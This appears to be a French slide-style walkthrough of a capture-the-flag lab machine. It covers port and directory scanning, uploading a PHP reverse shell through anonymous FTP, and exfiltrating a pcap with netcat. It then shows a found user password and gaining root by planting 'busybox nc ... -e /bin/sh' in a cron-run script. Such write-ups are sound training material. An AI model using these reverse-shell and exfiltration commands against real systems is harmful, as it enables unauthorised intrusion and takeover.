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Énoncé



Reconnaissance



Scan de ports
Outil: Nmap

nmap -T4 10.10.46.196 # -T4: scan + rapide mais - discret

Nmap scan report for 10.10.46.196
Host is up (0.095s latency).
Not shown: 997 closed ports

PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http



Scan de ports
Outil: Nmap

nmap -T4 -sV -sC -p21,22,80 10.10.46.196 # -sC: Script scan

PORT   STATE SERVICE VERSION
21/tcp open  ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxrwx 2 65534 65534  4096 Nov 12  2020 ftp [NSE: writeable]
| -rw-r--r-- 1 0    0    251631 Nov 12  2020 important.jpg
|_-rw-r--r-- 1 0    0      208 Nov 12  2020 notice.txt
22/tcp open  ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; 
protocol 2.0)
80/tcp open  http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Maintenance



Serveur FTP (Port 21)

ftp -a 10.10.46.196 # -a: anonymous
ftp> get important.jpg
ftp> get notice.txt
ftp> ls -a
...
-rw-r--r-- 1 0    0           5 Nov 12  2020 .test.log
...
ftp> get .test.log



Serveur FTP (Port 21)
important.jpg



Serveur FTP (Port 21)
notice.txt

Whoever is leaving these damn Among Us memes in this share, it 
IS NOT FUNNY. People downloading documents from our website 
will think we are a joke! Now I dont know who it is, but Maya 
is looking pretty sus.



Serveur FTP (Port 21)
.test.log

test



Site Web (port 80)



Scan de répertoires (port 80)
Outil: dirb

dirb http://10.10.46.196

---- Scanning URL: http://10.10.46.196/ ----
==> DIRECTORY: http://10.10.46.196/files/
+ http://10.10.46.196/index.html (CODE:200|SIZE:808)
+ http://10.10.46.196/server-status (CODE:403|SIZE:278)

---- Entering directory: http://10.10.46.196/files/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.



/files est listable



/files/ftp est modifiable !



Reverse Shell



Reverse Shell PHP
Outil: pentestmonkey/php-reverse-shell

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php


Reverse Shell PHP
Outil: pentestmonkey/php-reverse-shell

ftp -a 10.10.46.196 # -a: anonymous
ftp> cd ftp
ftp> send php-reverse-shell.php
...
226 Transfer complete.
...

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php


Reverse Shell PHP
Outil: pentestmonkey/php-reverse-shell

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php


nc -lvnp 6666
# Listening on 0.0.0.0 6666

# Machine Attaquante # Serveur Web

# Connection received
whoami
# www-data

/files/ftp/php-reverse-shell.php

Reverse Shell PHP
Outil: pentestmonkey/php-reverse-shell

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php


Élévation de privilèges



Élévation de privilèges

ls /

bin   home      lib  mnt      root  srv  vagrant
boot  incidents   lib64  opt      run   sys  var
dev   initrd.img  lost+found proc     sbin  tmp  vmlinuz
etc   initrd.img.old media  recipe.txt snap  usr  vmlinuz.old



Élévation de privilèges

cat /recipe.txt

Someone asked what our main ingredient to our spice soup is today. I 
figured I can't keep it a secret forever and told him it was love.



Élévation de privilèges
www-data ⟹ lennie

ls -lA /home/

drwx------ 4 lennie lennie 4096 Nov 12  2020 lennie



Élévation de privilèges
www-data ⟹ lennie

ls -lA /incidents

-rwxr-xr-x 1 www-data www-data 31224 Nov 12  2020 suspicious.pcapng



nc -lvnp 6667 > suspicious.pcapng
# Listening on 0.0.0.0 6667

# Machine Attaquante # Machine Cible

# Connection received

Analyse de PCAP

nc 10.6.38.237 6667 < /incidents/suspicious.pcapng



Analyse de PCAP
Outil: Wireshark



Analyse de PCAP
Outil: Wireshark



Analyse de PCAP
Outil: Wireshark



Analyse de PCAP
Outil: Wireshark



Élévation de privilèges
www-data ⟹ lennie

su lennie # password: c4ntg3t3n0ughsp1c3

lennie@startup:/$

ssh lennie@10.10.46.196 # password: c4ntg3t3n0ughsp1c3



Flag user.txt

ls -la

drwx------ 5 lennie lennie 4096 Mar 15 19:07 .
drwxr-xr-x 3 root   root   4096 Nov 12  2020 ..
-rw------- 1 lennie lennie 3 Mar 15 19:07 .bash_history
drwx------ 2 lennie lennie 4096 Mar 15 19:07 .cache
drwxr-xr-x 2 lennie lennie 4096 Nov 12  2020 Documents
drwxr-xr-x 2 root   root   4096 Nov 12  2020 scripts
-rw-r--r-- 1 lennie lennie   38 Nov 12  2020 user.txt

cat user.txt

THM{...}



Élévation de privilèges
lennie ⟹ root



Élévation de privilèges
ls -AlR

-rw------- 1 lennie lennie 3 Mar 15 19:07 .bash_history
drwx------ 2 lennie lennie 4096 Mar 15 19:07 .cache
drwxr-xr-x 2 lennie lennie 4096 Nov 12  2020 Documents
drwxr-xr-x 2 root   root   4096 Nov 12  2020 scripts
-rw-r--r-- 1 lennie lennie   38 Nov 12  2020 user.txt

./Documents:
total 12
-rw-r--r-- 1 root root 139 Nov 12  2020 concern.txt
-rw-r--r-- 1 root root  47 Nov 12  2020 list.txt
-rw-r--r-- 1 root root 101 Nov 12  2020 note.txt

./scripts:
total 8
-rwxr-xr-x 1 root root 77 Nov 12  2020 planner.sh
-rw-r--r-- 1 root root  1 Mar 15 19:13 startup_list.txt



Élévation de privilèges
lennie ⟹ root

cat scripts/planner.sh

#!/bin/bash
echo $LIST > /home/lennie/scripts/startup_list.txt
/etc/print.sh

ls -l /etc/print.sh

-rwx------ 1 lennie lennie 25 Nov 12  2020 /etc/print.sh



Élévation de privilèges
lennie ⟹ root

cat /etc/print.sh

#!/bin/bash
echo "Done!"

nano /etc/print.sh

#!/bin/bash
id > /tmp/test_id.txt



Élévation de privilèges
lennie ⟹ root

watch ls -lA /tmp

Every 2.0s: ls -lA /tmp/
...



Élévation de privilèges
lennie ⟹ root

watch ls -lA /tmp

Every 2.0s: ls -lA /tmp/
...



Élévation de privilèges
lennie ⟹ root

watch ls -lA /tmp

Every 2.0s: ls -lA /tmp/
...

cat /tmp/test_id.txt

uid=0(root) gid=0(root) groups=0(root)



Élévation de privilèges
lennie ⟹ root

nano /etc/print.sh

#!/bin/bash
busybox nc 10.6.38.237 6666 -e /bin/sh

nano /etc/print.sh

#!/bin/bash
id > /tmp/test_id.txt



nc -lvnp 6666

# Machine Attaquante # Machine Cible

# Connection received

Élévation de privilèges
lennie ⟹ root

nano /etc/print.sh

#!/bin/bash
busybox nc 10.6.38.237 6666 -e /bin/sh



Flag root.txt

id

uid=0(root) gid=0(root) groups=0(root)

cat root.txt

THM{...}

ls

root.txt



Questions ?


